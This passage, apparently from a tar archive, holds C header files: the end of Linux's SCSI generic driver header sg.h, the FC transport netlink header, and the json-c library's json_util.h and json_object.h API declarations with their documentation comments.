*/ /* SCSI id information can also be obtained from SCSI_IOCTL_GET_IDLUN */ /* Override host setting and always DMA using low memory ( <16MB on i386) */ #define SG_SET_FORCE_LOW_DMA 0x2279 /* 0-> use adapter setting, 1-> force */ #define SG_GET_LOW_DMA 0x227a /* 0-> use all ram for dma; 1-> low dma ram */ /* When SG_SET_FORCE_PACK_ID set to 1, pack_id is input to read() which tries to fetch a packet with a matching pack_id, waits, or returns EAGAIN. If pack_id is -1 then read oldest waiting. When ...FORCE_PACK_ID set to 0 then pack_id ignored by read() and oldest readable fetched. */ #define SG_SET_FORCE_PACK_ID 0x227b #define SG_GET_PACK_ID 0x227c /* Yields oldest readable pack_id (or -1) */ #define SG_GET_NUM_WAITING 0x227d /* Number of commands awaiting read() */ /* Yields max scatter gather tablesize allowed by current host adapter */ #define SG_GET_SG_TABLESIZE 0x227F /* 0 implies can't do scatter gather */ #define SG_GET_VERSION_NUM 0x2282 /* Example: version 2.1.34 yields 20134 */ /* Returns -EBUSY if occupied. 3rd argument pointer to int (see next) */ #define SG_SCSI_RESET 0x2284 /* Associated values that can be given to SG_SCSI_RESET follow */ #define SG_SCSI_RESET_NOTHING 0 #define SG_SCSI_RESET_DEVICE 1 #define SG_SCSI_RESET_BUS 2 #define SG_SCSI_RESET_HOST 3 /* synchronous SCSI command ioctl, (only in version 3 interface) */ #define SG_IO 0x2285 /* similar effect as write() followed by read() */ #define SG_GET_REQUEST_TABLE 0x2286 /* yields table of active requests */ /* How to treat EINTR during SG_IO ioctl(), only in SG 3.x series */ #define SG_SET_KEEP_ORPHAN 0x2287 /* 1 -> hold for read(), 0 -> drop (def) */ #define SG_GET_KEEP_ORPHAN 0x2288 #define SG_SCATTER_SZ (8 * 4096) /* PAGE_SIZE not available to user */ /* Largest size (in bytes) a single scatter-gather list element can have. The value must be a power of 2 and <= (PAGE_SIZE * 32) [131072 bytes on i386]. The minimum value is PAGE_SIZE. If scatter-gather not supported by adapter then this value is the largest data block that can be read/written by a single scsi command. The user can find the value of PAGE_SIZE by calling getpagesize() defined in unistd.h . */ #define SG_DEFAULT_RETRIES 1 /* Defaults, commented if they differ from original sg driver */ #define SG_DEF_FORCE_LOW_DMA 0 /* was 1 -> memory below 16MB on i386 */ #define SG_DEF_FORCE_PACK_ID 0 #define SG_DEF_KEEP_ORPHAN 0 #define SG_DEF_RESERVED_SIZE SG_SCATTER_SZ /* load time option */ /* maximum outstanding requests, write() yields EDOM if exceeded */ #define SG_MAX_QUEUE 16 #define SG_BIG_BUFF SG_DEF_RESERVED_SIZE /* for backward compatibility */ /* Alternate style type names, "..._t" variants preferred */ typedef struct sg_io_hdr Sg_io_hdr; typedef struct sg_io_vec Sg_io_vec; typedef struct sg_scsi_id Sg_scsi_id; typedef struct sg_req_info Sg_req_info; /* vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv */ /* The older SG interface based on the 'sg_header' structure follows. */ /* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ */ #define SG_MAX_SENSE 16 /* this only applies to the sg_header interface */ struct sg_header { /* Length of incoming packet (including header). */ int pack_len; /* Maximal length of expected reply. */ int reply_len; /* Id number of packet. */ int pack_id; /* 0==ok, otherwise error number. */ int result; /* Force 12 byte command length for group 6 & 7 commands. */ unsigned int twelve_byte:1; /* SCSI status from target. */ unsigned int target_status:5; /* Host status (see "DID" codes). */ unsigned int host_status:8; /* Driver status+suggestion. */ unsigned int driver_status:8; /* Unused. */ unsigned int other_flags:10; /* Output in 3 cases: when target_status is CHECK_CONDITION or when target_status is COMMAND_TERMINATED or when (driver_status & DRIVER_SENSE) is true. */ unsigned char sense_buffer[SG_MAX_SENSE]; }; /* IOCTLs: The following are not required (or ignored) when the sg_io_hdr_t interface is used. They are kept for backward compatibility with the original and version 2 drivers. */ #define SG_SET_TIMEOUT 0x2201 /* Set timeout; *(int *)arg==timeout. */ #define SG_GET_TIMEOUT 0x2202 /* Get timeout; return timeout. */ /* Get/set command queuing state per fd (default is SG_DEF_COMMAND_Q). */ #define SG_GET_COMMAND_Q 0x2270 /* Yields 0 (queuing off) or 1 (on). */ #define SG_SET_COMMAND_Q 0x2271 /* Change queuing state with 0 or 1. */ /* Turn on error sense trace (1..8), dump this device to log/console (9) or dump all sg device states ( >9 ) to log/console. */ #define SG_SET_DEBUG 0x227e /* 0 -> turn off debug */ #define SG_NEXT_CMD_LEN 0x2283 /* Override SCSI command length with given number on the next write() on this file descriptor. */ /* Defaults, commented if they differ from original sg driver */ #define SG_DEFAULT_TIMEOUT (60*HZ) /* HZ == 'jiffies in 1 second' */ #define SG_DEF_COMMAND_Q 0 /* command queuing is always on when the new interface is used */ #define SG_DEF_UNDERRUN_FLAG 0 #endif /* scsi/sg.h */ scsi/scsi_netlink_fc.h 0000644 00000003711 15246445046 0011027 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * FC Transport Netlink Interface * * Copyright (C) 2006 James Smart, Emulex Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #ifndef SCSI_NETLINK_FC_H #define SCSI_NETLINK_FC_H #include <scsi/scsi_netlink.h> /* * This file intended to be included by both kernel and user space */ /* * FC Transport Message Types */ /* kernel -> user */ #define FC_NL_ASYNC_EVENT 0x0100 /* user -> kernel */ /* none */ /* * Message Structures : */ /* macro to round up message lengths to 8byte boundary */ #define FC_NL_MSGALIGN(len) (((len) + 7) & ~7) /* * FC Transport Broadcast Event Message : * FC_NL_ASYNC_EVENT * * Note: if Vendor Unique message, &event_data will be start of * vendor unique payload, and the length of the payload is * per event_datalen * * Note: When specifying vendor_id, be sure to read the Vendor Type and ID * formatting requirements specified in scsi_netlink.h */ struct fc_nl_event { struct scsi_nl_hdr snlh; /* must be 1st element ! */ uint64_t seconds; uint64_t vendor_id; uint16_t host_no; uint16_t event_datalen; uint32_t event_num; uint32_t event_code; uint32_t event_data; } __attribute__((aligned(sizeof(uint64_t)))); #endif /* SCSI_NETLINK_FC_H */ json-c/json_util.h 0000644 00000005665 15246445046 0010142 0 ustar 00 /* * $Id: json_util.h,v 1.4 2006/01/30 23:07:57 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief Miscllaneous utility functions and macros. */ #ifndef _json_util_h_ #define _json_util_h_ #include "json_object.h" #ifndef json_min #define json_min(a,b) ((a) < (b) ? (a) : (b)) #endif #ifndef json_max #define json_max(a,b) ((a) > (b) ? (a) : (b)) #endif #ifdef __cplusplus extern "C" { #endif #define JSON_FILE_BUF_SIZE 4096 /* utility functions */ /** * Read the full contents of the given file, then convert it to a * json_object using json_tokener_parse(). * * Returns -1 if something fails. See json_util_get_last_err() for details. */ extern struct json_object* json_object_from_file(const char *filename); /** * Create a JSON object from already opened file descriptor. * * This function can be helpful, when you opened the file already, * e.g. when you have a temp file. * Note, that the fd must be readable at the actual position, i.e. * use lseek(fd, 0, SEEK_SET) before. * * Returns -1 if something fails. See json_util_get_last_err() for details. */ extern struct json_object* json_object_from_fd(int fd); /** * Equivalent to: * json_object_to_file_ext(filename, obj, JSON_C_TO_STRING_PLAIN); * * Returns -1 if something fails. See json_util_get_last_err() for details. */ extern int json_object_to_file(const char *filename, struct json_object *obj); /** * Open and truncate the given file, creating it if necessary, then * convert the json_object to a string and write it to the file. * * Returns -1 if something fails. See json_util_get_last_err() for details. */ extern int json_object_to_file_ext(const char *filename, struct json_object *obj, int flags); /** * Convert the json_object to a string and write it to the file descriptor. * Handles partial writes and will keep writing until done, or an error * occurs. * * @param fd an open, writable file descriptor to write to * @param obj the object to serializer and write * @param flags flags to pass to json_object_to_json_string_ext() * @return -1 if something fails. See json_util_get_last_err() for details. */ extern int json_object_to_fd(int fd, struct json_object *obj, int flags); /** * Return the last error from various json-c functions, including: * json_object_to_file{,_ext}, json_object_to_fd() or * json_object_from_{file,fd}, or NULL if there is none. */ const char *json_util_get_last_err(void); extern int json_parse_int64(const char *buf, int64_t *retval); extern int json_parse_double(const char *buf, double *retval); /** * Return a string describing the type of the object. * e.g. "int", or "object", etc... */ extern const char *json_type_to_name(enum json_type o_type); #ifdef __cplusplus } #endif #endif json-c/json_object.h 0000644 00000112150 15246445046 0010417 0 ustar 00 /* * $Id: json_object.h,v 1.12 2006/01/30 23:07:57 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * Copyright (c) 2009 Hewlett-Packard Development Company, L.P. * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief Core json-c API. Start here, or with json_tokener.h */ #ifndef _json_object_h_ #define _json_object_h_ #ifdef __GNUC__ #define THIS_FUNCTION_IS_DEPRECATED(func) func __attribute__ ((deprecated)) #elif defined(_MSC_VER) #define THIS_FUNCTION_IS_DEPRECATED(func) __declspec(deprecated) func #elif defined(__clang__) #define THIS_FUNCTION_IS_DEPRECATED(func) func __deprecated #else #define THIS_FUNCTION_IS_DEPRECATED(func) func #endif #ifdef __GNUC__ #define JSON_C_CONST_FUNCTION(func) func __attribute__((const)) #else #define JSON_C_CONST_FUNCTION(func) func #endif #if defined(_MSC_VER) #define JSON_EXPORT __declspec(dllexport) #else #define JSON_EXPORT extern #endif #include <stddef.h> #include "json_inttypes.h" #include "printbuf.h" #ifdef __cplusplus extern "C" { #endif #define JSON_OBJECT_DEF_HASH_ENTRIES 16 /** * A flag for the json_object_to_json_string_ext() and * json_object_to_file_ext() functions which causes the output * to have no extra whitespace or formatting applied. */ #define JSON_C_TO_STRING_PLAIN 0 /** * A flag for the json_object_to_json_string_ext() and * json_object_to_file_ext() functions which causes the output to have * minimal whitespace inserted to make things slightly more readable. */ #define JSON_C_TO_STRING_SPACED (1<<0) /** * A flag for the json_object_to_json_string_ext() and * json_object_to_file_ext() functions which causes * the output to be formatted. * * See the "Two Space Tab" option at http://jsonformatter.curiousconcept.com/ * for an example of the format. */ #define JSON_C_TO_STRING_PRETTY (1<<1) /** * A flag for the json_object_to_json_string_ext() and * json_object_to_file_ext() functions which causes * the output to be formatted. * * Instead of a "Two Space Tab" this gives a single tab character. */ #define JSON_C_TO_STRING_PRETTY_TAB (1<<3) /** * A flag to drop trailing zero for float values */ #define JSON_C_TO_STRING_NOZERO (1<<2) /** * Don't escape forward slashes. */ #define JSON_C_TO_STRING_NOSLASHESCAPE (1<<4) /** * A flag for the json_object_object_add_ex function which * causes the value to be added without a check if it already exists. * Note: it is the responsibilty of the caller to ensure that no * key is added multiple times. If this is done, results are * unpredictable. While this option is somewhat dangerous, it * permits potentially large performance savings in code that * knows for sure the key values are unique (e.g. because the * code adds a well-known set of constant key values). */ #define JSON_C_OBJECT_ADD_KEY_IS_NEW (1<<1) /** * A flag for the json_object_object_add_ex function which * flags the key as being constant memory. This means that * the key will NOT be copied via strdup(), resulting in a * potentially huge performance win (malloc, strdup and * free are usually performance hogs). It is acceptable to * use this flag for keys in non-constant memory blocks if * the caller ensure that the memory holding the key lives * longer than the corresponding json object. However, this * is somewhat dangerous and should only be done if really * justified. * The general use-case for this flag is cases where the * key is given as a real constant value in the function * call, e.g. as in * json_object_object_add_ex(obj, "ip", json, * JSON_C_OBJECT_KEY_IS_CONSTANT); */ #define JSON_C_OBJECT_KEY_IS_CONSTANT (1<<2) #undef FALSE #define FALSE ((json_bool)0) #undef TRUE #define TRUE ((json_bool)1) /** * Set the global value of an option, which will apply to all * current and future threads that have not set a thread-local value. * * @see json_c_set_serialization_double_format */ #define JSON_C_OPTION_GLOBAL (0) /** * Set a thread-local value of an option, overriding the global value. * This will fail if json-c is not compiled with threading enabled, and * with the __thread specifier (or equivalent) available. * * @see json_c_set_serialization_double_format */ #define JSON_C_OPTION_THREAD (1) /** * A structure to use with json_object_object_foreachC() loops. * Contains key, val and entry members. */ struct json_object_iter { char *key; struct json_object *val; struct lh_entry *entry; }; typedef struct json_object_iter json_object_iter; typedef int json_bool; /** * @brief The core type for all type of JSON objects handled by json-c */ typedef struct json_object json_object; /** * Type of custom user delete functions. See json_object_set_serializer. */ typedef void (json_object_delete_fn)(struct json_object *jso, void *userdata); /** * Type of a custom serialization function. See json_object_set_serializer. */ typedef int (json_object_to_json_string_fn)(struct json_object *jso, struct printbuf *pb, int level, int flags); /* supported object types */ typedef enum json_type { /* If you change this, be sure to update json_type_to_name() too */ json_type_null, json_type_boolean, json_type_double, json_type_int, json_type_object, json_type_array, json_type_string } json_type; /* reference counting functions */ /** * Increment the reference count of json_object, thereby grabbing shared * ownership of obj. * * @param obj the json_object instance */ JSON_EXPORT struct json_object* json_object_get(struct json_object *obj); /** * Decrement the reference count of json_object and free if it reaches zero. * You must have ownership of obj prior to doing this or you will cause an * imbalance in the reference count. * * @param obj the json_object instance * @returns 1 if the object was freed. */ JSON_EXPORT int json_object_put(struct json_object *obj); /** * Check if the json_object is of a given type * @param obj the json_object instance * @param type one of: json_type_null (i.e. obj == NULL), json_type_boolean, json_type_double, json_type_int, json_type_object, json_type_array, json_type_string */ JSON_EXPORT int json_object_is_type(const struct json_object *obj, enum json_type type); /** * Get the type of the json_object. See also json_type_to_name() to turn this * into a string suitable, for instance, for logging. * * @param obj the json_object instance * @returns type being one of: json_type_null (i.e. obj == NULL), json_type_boolean, json_type_double, json_type_int, json_type_object, json_type_array, json_type_string */ JSON_EXPORT enum json_type json_object_get_type(const struct json_object *obj); /** Stringify object to json format. * Equivalent to json_object_to_json_string_ext(obj, JSON_C_TO_STRING_SPACED) * The pointer you get is an internal of your json object. You don't * have to free it, later use of json_object_put() should be sufficient. * If you can not ensure there's no concurrent access to *obj use * strdup(). * @param obj the json_object instance * @returns a string in JSON format */ JSON_EXPORT const char* json_object_to_json_string(struct json_object *obj); /** Stringify object to json format * @see json_object_to_json_string() for details on how to free string. * @param obj the json_object instance * @param flags formatting options, see JSON_C_TO_STRING_PRETTY and other constants * @returns a string in JSON format */ JSON_EXPORT const char* json_object_to_json_string_ext(struct json_object *obj, int flags); /** Stringify object to json format * @see json_object_to_json_string() for details on how to free string. * @param obj the json_object instance * @param flags formatting options, see JSON_C_TO_STRING_PRETTY and other constants * @param length a pointer where, if not NULL, the length (without null) is stored * @returns a string in JSON format and the length if not NULL */ JSON_EXPORT const char* json_object_to_json_string_length(struct json_object *obj, int flags, size_t *length); /** * Returns the userdata set by json_object_set_userdata() or * json_object_set_serializer() * * @param jso the object to return the userdata for */ JSON_EXPORT void* json_object_get_userdata(json_object *jso); /** * Set an opaque userdata value for an object * * The userdata can be retrieved using json_object_get_userdata(). * * If custom userdata is already set on this object, any existing user_delete * function is called before the new one is set. * * The user_delete parameter is optional and may be passed as NULL, even if * the userdata parameter is non-NULL. It will be called just before the * json_object is deleted, after it's reference count goes to zero * (see json_object_put()). * If this is not provided, it is up to the caller to free the userdata at * an appropriate time. (i.e. after the json_object is deleted) * * Note: Objects created by parsing strings may have custom serializers set * which expect the userdata to contain specific data (due to use of * json_object_new_double_s()). In this case, json_object_set_serialiser() with * NULL as to_string_func should be used instead to set the userdata and reset * the serializer to its default value. * * @param jso the object to set the userdata for * @param userdata an optional opaque cookie * @param user_delete an optional function from freeing userdata */ JSON_EXPORT void json_object_set_userdata(json_object *jso, void *userdata, json_object_delete_fn *user_delete); /** * Set a custom serialization function to be used when this particular object * is converted to a string by json_object_to_json_string. * * If custom userdata is already set on this object, any existing user_delete * function is called before the new one is set. * * If to_string_func is NULL the default behaviour is reset (but the userdata * and user_delete fields are still set). * * The userdata parameter is optional and may be passed as NULL. It can be used * to provide additional data for to_string_func to use. This parameter may * be NULL even if user_delete is non-NULL. * * The user_delete parameter is optional and may be passed as NULL, even if * the userdata parameter is non-NULL. It will be called just before the * json_object is deleted, after it's reference count goes to zero * (see json_object_put()). * If this is not provided, it is up to the caller to free the userdata at * an appropriate time. (i.e. after the json_object is deleted) * * Note that the userdata is the same as set by json_object_set_userdata(), so * care must be taken not to overwrite the value when both a custom serializer * and json_object_set_userdata() are used. * * @param jso the object to customize * @param to_string_func the custom serialization function * @param userdata an optional opaque cookie * @param user_delete an optional function from freeing userdata */ JSON_EXPORT void json_object_set_serializer(json_object *jso, json_object_to_json_string_fn *to_string_func, void *userdata, json_object_delete_fn *user_delete); #ifdef __clang__ /* * Clang doesn't pay attention to the parameters defined in the * function typedefs used here, so turn off spurious doc warnings. * { */ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wdocumentation" #endif /** * Simply call free on the userdata pointer. * Can be used with json_object_set_serializer(). * * @param jso unused * @param userdata the pointer that is passed to free(). */ json_object_delete_fn json_object_free_userdata; /** * Copy the jso->_userdata string over to pb as-is. * Can be used with json_object_set_serializer(). * * @param jso The object whose _userdata is used. * @param pb The destination buffer. * @param level Ignored. * @param flags Ignored. */ json_object_to_json_string_fn json_object_userdata_to_json_string; #ifdef __clang__ /* } */ #pragma clang diagnostic pop #endif /* object type methods */ /** Create a new empty object with a reference count of 1. The caller of * this object initially has sole ownership. Remember, when using * json_object_object_add or json_object_array_put_idx, ownership will * transfer to the object/array. Call json_object_get if you want to maintain * shared ownership or also add this object as a child of multiple objects or * arrays. Any ownerships you acquired but did not transfer must be released * through json_object_put. * * @returns a json_object of type json_type_object */ JSON_EXPORT struct json_object* json_object_new_object(void); /** Get the hashtable of a json_object of type json_type_object * @param obj the json_object instance * @returns a linkhash */ JSON_EXPORT struct lh_table* json_object_get_object(const struct json_object *obj); /** Get the size of an object in terms of the number of fields it has. * @param obj the json_object whose length to return */ JSON_EXPORT int json_object_object_length(const struct json_object* obj); /** Get the sizeof (struct json_object). * @returns a size_t with the sizeof (struct json_object) */ JSON_C_CONST_FUNCTION(JSON_EXPORT size_t json_c_object_sizeof(void)); /** Add an object field to a json_object of type json_type_object * * The reference count will *not* be incremented. This is to make adding * fields to objects in code more compact. If you want to retain a reference * to an added object, independent of the lifetime of obj, you must wrap the * passed object with json_object_get. * * Upon calling this, the ownership of val transfers to obj. Thus you must * make sure that you do in fact have ownership over this object. For instance, * json_object_new_object will give you ownership until you transfer it, * whereas json_object_object_get does not. * * @param obj the json_object instance * @param key the object field name (a private copy will be duplicated) * @param val a json_object or NULL member to associate with the given field * * @return On success, <code>0</code> is returned. * On error, a negative value is returned. */ JSON_EXPORT int json_object_object_add(struct json_object* obj, const char *key, struct json_object *val); /** Add an object field to a json_object of type json_type_object * * The semantics are identical to json_object_object_add, except that an * additional flag fields gives you more control over some detail aspects * of processing. See the description of JSON_C_OBJECT_ADD_* flags for more * details. * * @param obj the json_object instance * @param key the object field name (a private copy will be duplicated) * @param val a json_object or NULL member to associate with the given field * @param opts process-modifying options. To specify multiple options, use * arithmetic or (OPT1|OPT2) */ JSON_EXPORT int json_object_object_add_ex(struct json_object* obj, const char *const key, struct json_object *const val, const unsigned opts); /** Get the json_object associate with a given object field. * Deprecated/discouraged: used json_object_object_get_ex instead. * * This returns NULL if the field is found but its value is null, or if * the field is not found, or if obj is not a json_type_object. If you * need to distinguis between these cases, use json_object_object_get_ex(). * * *No* reference counts will be changed. There is no need to manually adjust * reference counts through the json_object_put/json_object_get methods unless * you need to have the child (value) reference maintain a different lifetime * than the owning parent (obj). Ownership of the returned value is retained * by obj (do not do json_object_put unless you have done a json_object_get). * If you delete the value from obj (json_object_object_del) and wish to access * the returned reference afterwards, make sure you have first gotten shared * ownership through json_object_get (& don't forget to do a json_object_put * or transfer ownership to prevent a memory leak). * * @param obj the json_object instance * @param key the object field name * @returns the json_object associated with the given field name */ JSON_EXPORT struct json_object* json_object_object_get(const struct json_object* obj, const char *key); /** Get the json_object associated with a given object field. * * This returns true if the key is found, false in all other cases (including * if obj isn't a json_type_object). * * *No* reference counts will be changed. There is no need to manually adjust * reference counts through the json_object_put/json_object_get methods unless * you need to have the child (value) reference maintain a different lifetime * than the owning parent (obj). Ownership of value is retained by obj. * * @param obj the json_object instance * @param key the object field name * @param value a pointer where to store a reference to the json_object * associated with the given field name. * * It is safe to pass a NULL value. * @returns whether or not the key exists */ JSON_EXPORT json_bool json_object_object_get_ex(const struct json_object* obj, const char *key, struct json_object **value); /** Delete the given json_object field * * The reference count will be decremented for the deleted object. If there * are no more owners of the value represented by this key, then the value is * freed. Otherwise, the reference to the value will remain in memory. * * @param obj the json_object instance * @param key the object field name */ JSON_EXPORT void json_object_object_del(struct json_object* obj, const char *key); /** * Iterate through all keys and values of an object. * * Adding keys to the object while iterating is NOT allowed. * * Deleting an existing key, or replacing an existing key with a * new value IS allowed. * * @param obj the json_object instance * @param key the local name for the char* key variable defined in the body * @param val the local name for the json_object* object variable defined in * the body */ #if defined(__GNUC__) && !defined(__STRICT_ANSI__) && __STDC_VERSION__ >= 199901L # define json_object_object_foreach(obj,key,val) \ char *key = NULL; \ struct json_object *val __attribute__((__unused__)) = NULL; \ for(struct lh_entry *entry ## key = json_object_get_object(obj)->head, *entry_next ## key = NULL; \ ({ if(entry ## key) { \ key = (char*)lh_entry_k(entry ## key); \ val = (struct json_object*)lh_entry_v(entry ## key); \ entry_next ## key = entry ## key->next; \ } ; entry ## key; }); \ entry ## key = entry_next ## key ) #else /* ANSI C or MSC */ # define json_object_object_foreach(obj,key,val) \ char *key = NULL;\ struct json_object *val = NULL; \ struct lh_entry *entry ## key; \ struct lh_entry *entry_next ## key = NULL; \ for(entry ## key = json_object_get_object(obj)->head; \ (entry ## key ? ( \ key = (char*)lh_entry_k(entry ## key), \ val = (struct json_object*)lh_entry_v(entry ## key), \ entry_next ## key = entry ## key->next, \ entry ## key) : 0); \ entry ## key = entry_next ## key) #endif /* defined(__GNUC__) && !defined(__STRICT_ANSI__) && __STDC_VERSION__ >= 199901L */ /** Iterate through all keys and values of an object (ANSI C Safe) * @param obj the json_object instance * @param iter the object iterator, use type json_object_iter */ #define json_object_object_foreachC(obj,iter) \ for(iter.entry = json_object_get_object(obj)->head; \ (iter.entry ? (iter.key = (char*)lh_entry_k(iter.entry), iter.val = (struct json_object*)lh_entry_v(iter.entry), iter.entry) : 0); \ iter.entry = iter.entry->next) /* Array type methods */ /** Create a new empty json_object of type json_type_array * @returns a json_object of type json_type_array */ JSON_EXPORT struct json_object* json_object_new_array(void); /** Get the arraylist of a json_object of type json_type_array * @param obj the json_object instance * @returns an arraylist */ JSON_EXPORT struct array_list* json_object_get_array(const struct json_object *obj); /** Get the length of a json_object of type json_type_array * @param obj the json_object instance * @returns an int */ JSON_EXPORT size_t json_object_array_length(const struct json_object *obj); /** Sorts the elements of jso of type json_type_array * * Pointers to the json_object pointers will be passed as the two arguments * to sort_fn * * @param jso the json_object instance * @param sort_fn a sorting function */ JSON_EXPORT void json_object_array_sort(struct json_object *jso, int(*sort_fn)(const void *, const void *)); /** Binary search a sorted array for a specified key object. * * It depends on your compare function what's sufficient as a key. * Usually you create some dummy object with the parameter compared in * it, to identify the right item you're actually looking for. * * @see json_object_array_sort() for hints on the compare function. * * @param key a dummy json_object with the right key * @param jso the array object we're searching * @param sort_fn the sort/compare function * * @return the wanted json_object instance */ JSON_EXPORT struct json_object* json_object_array_bsearch( const struct json_object *key, const struct json_object *jso, int (*sort_fn)(const void *, const void *)); /** Add an element to the end of a json_object of type json_type_array * * The reference count will *not* be incremented. This is to make adding * fields to objects in code more compact. If you want to retain a reference * to an added object you must wrap the passed object with json_object_get * * @param obj the json_object instance * @param val the json_object to be added */ JSON_EXPORT int json_object_array_add(struct json_object *obj, struct json_object *val); /** Insert or replace an element at a specified index in an array (a json_object of type json_type_array) * * The reference count will *not* be incremented. This is to make adding * fields to objects in code more compact. If you want to retain a reference * to an added object you must wrap the passed object with json_object_get * * The reference count of a replaced object will be decremented. * * The array size will be automatically be expanded to the size of the * index if the index is larger than the current size. * * @param obj the json_object instance * @param idx the index to insert the element at * @param val the json_object to be added */ JSON_EXPORT int json_object_array_put_idx(struct json_object *obj, size_t idx, struct json_object *val); /** Get the element at specificed index of the array (a json_object of type json_type_array) * @param obj the json_object instance * @param idx the index to get the element at * @returns the json_object at the specified index (or NULL) */ JSON_EXPORT struct json_object* json_object_array_get_idx(const struct json_object *obj, size_t idx); /** Delete an elements from a specified index in an array (a json_object of type json_type_array) * * The reference count will be decremented for each of the deleted objects. If there * are no more owners of an element that is being deleted, then the value is * freed. Otherwise, the reference to the value will remain in memory. * * @param obj the json_object instance * @param idx the index to start deleting elements at * @param count the number of elements to delete * @returns 0 if the elements were successfully deleted */ JSON_EXPORT int json_object_array_del_idx(struct json_object *obj, size_t idx, size_t count); /* json_bool type methods */ /** Create a new empty json_object of type json_type_boolean * @param b a json_bool TRUE or FALSE (1 or 0) * @returns a json_object of type json_type_boolean */ JSON_EXPORT struct json_object* json_object_new_boolean(json_bool b); /** Get the json_bool value of a json_object * * The type is coerced to a json_bool if the passed object is not a json_bool. * integer and double objects will return FALSE if there value is zero * or TRUE otherwise. If the passed object is a string it will return * TRUE if it has a non zero length. If any other object type is passed * TRUE will be returned if the object is not NULL. * * @param obj the json_object instance * @returns a json_bool */ JSON_EXPORT json_bool json_object_get_boolean(const struct json_object *obj); /** Set the json_bool value of a json_object * * The type of obj is checked to be a json_type_boolean and 0 is returned * if it is not without any further actions. If type of obj is json_type_boolean * the obect value is chaned to new_value * * @param obj the json_object instance * @param new_value the value to be set * @returns 1 if value is set correctly, 0 otherwise */ JSON_EXPORT int json_object_set_boolean(struct json_object *obj,json_bool new_value); /* int type methods */ /** Create a new empty json_object of type json_type_int * Note that values are stored as 64-bit values internally. * To ensure the full range is maintained, use json_object_new_int64 instead. * @param i the integer * @returns a json_object of type json_type_int */ JSON_EXPORT struct json_object* json_object_new_int(int32_t i); /** Create a new empty json_object of type json_type_int * @param i the integer * @returns a json_object of type json_type_int */ JSON_EXPORT struct json_object* json_object_new_int64(int64_t i); /** Get the int value of a json_object * * The type is coerced to a int if the passed object is not a int. * double objects will return their integer conversion. Strings will be * parsed as an integer. If no conversion exists then 0 is returned * and errno is set to EINVAL. null is equivalent to 0 (no error values set) * * Note that integers are stored internally as 64-bit values. * If the value of too big or too small to fit into 32-bit, INT32_MAX or * INT32_MIN are returned, respectively. * * @param obj the json_object instance * @returns an int */ JSON_EXPORT int32_t json_object_get_int(const struct json_object *obj); /** Set the int value of a json_object * * The type of obj is checked to be a json_type_int and 0 is returned * if it is not without any further actions. If type of obj is json_type_int * the obect value is changed to new_value * * @param obj the json_object instance * @param new_value the value to be set * @returns 1 if value is set correctly, 0 otherwise */ JSON_EXPORT int json_object_set_int(struct json_object *obj,int new_value); /** Increment a json_type_int object by the given amount, which may be negative. * * If the type of obj is not json_type_int then 0 is returned with no further * action taken. * If the addition would result in a overflow, the object value * is set to INT64_MAX. * If the addition would result in a underflow, the object value * is set to INT64_MIN. * Neither overflow nor underflow affect the return value. * * @param obj the json_object instance * @param val the value to add * @returns 1 if the increment succeded, 0 otherwise */ JSON_EXPORT int json_object_int_inc(struct json_object *obj, int64_t val); /** Get the int value of a json_object * * The type is coerced to a int64 if the passed object is not a int64. * double objects will return their int64 conversion. Strings will be * parsed as an int64. If no conversion exists then 0 is returned. * * NOTE: Set errno to 0 directly before a call to this function to determine * whether or not conversion was successful (it does not clear the value for * you). * * @param obj the json_object instance * @returns an int64 */ JSON_EXPORT int64_t json_object_get_int64(const struct json_object *obj); /** Set the int64_t value of a json_object * * The type of obj is checked to be a json_type_int and 0 is returned * if it is not without any further actions. If type of obj is json_type_int * the obect value is chaned to new_value * * @param obj the json_object instance * @param new_value the value to be set * @returns 1 if value is set correctly, 0 otherwise */ JSON_EXPORT int json_object_set_int64(struct json_object *obj,int64_t new_value); /* double type methods */ /** Create a new empty json_object of type json_type_double * * @see json_object_double_to_json_string() for how to set a custom format string. * * @param d the double * @returns a json_object of type json_type_double */ JSON_EXPORT struct json_object* json_object_new_double(double d); /** * Create a new json_object of type json_type_double, using * the exact serialized representation of the value. * * This allows for numbers that would otherwise get displayed * inefficiently (e.g. 12.3 => "12.300000000000001") to be * serialized with the more convenient form. * * Notes: * * This is used by json_tokener_parse_ex() to allow for * an exact re-serialization of a parsed object. * * The userdata field is used to store the string representation, so it * can't be used for other data if this function is used. * * An equivalent sequence of calls is: * @code * jso = json_object_new_double(d); * json_object_set_serializer(jso, json_object_userdata_to_json_string, * strdup(ds), json_object_free_userdata); * @endcode * * @param d the numeric value of the double. * @param ds the string representation of the double. This will be copied. */ JSON_EXPORT struct json_object* json_object_new_double_s(double d, const char *ds); /** * Set a global or thread-local json-c option, depending on whether * JSON_C_OPTION_GLOBAL or JSON_C_OPTION_THREAD is passed. * Thread-local options default to undefined, and inherit from the global * value, even if the global value is changed after the thread is created. * Attempting to set thread-local options when threading is not compiled in * will result in an error. Be sure to check the return value. * * double_format is a "%g" printf format, such as "%.20g" * * @return -1 on errors, 0 on success. */ int json_c_set_serialization_double_format(const char *double_format, int global_or_thread); /** Serialize a json_object of type json_type_double to a string. * * This function isn't meant to be called directly. Instead, you can set a * custom format string for the serialization of this double using the * following call (where "%.17g" actually is the default): * * @code * jso = json_object_new_double(d); * json_object_set_serializer(jso, json_object_double_to_json_string, * "%.17g", NULL); 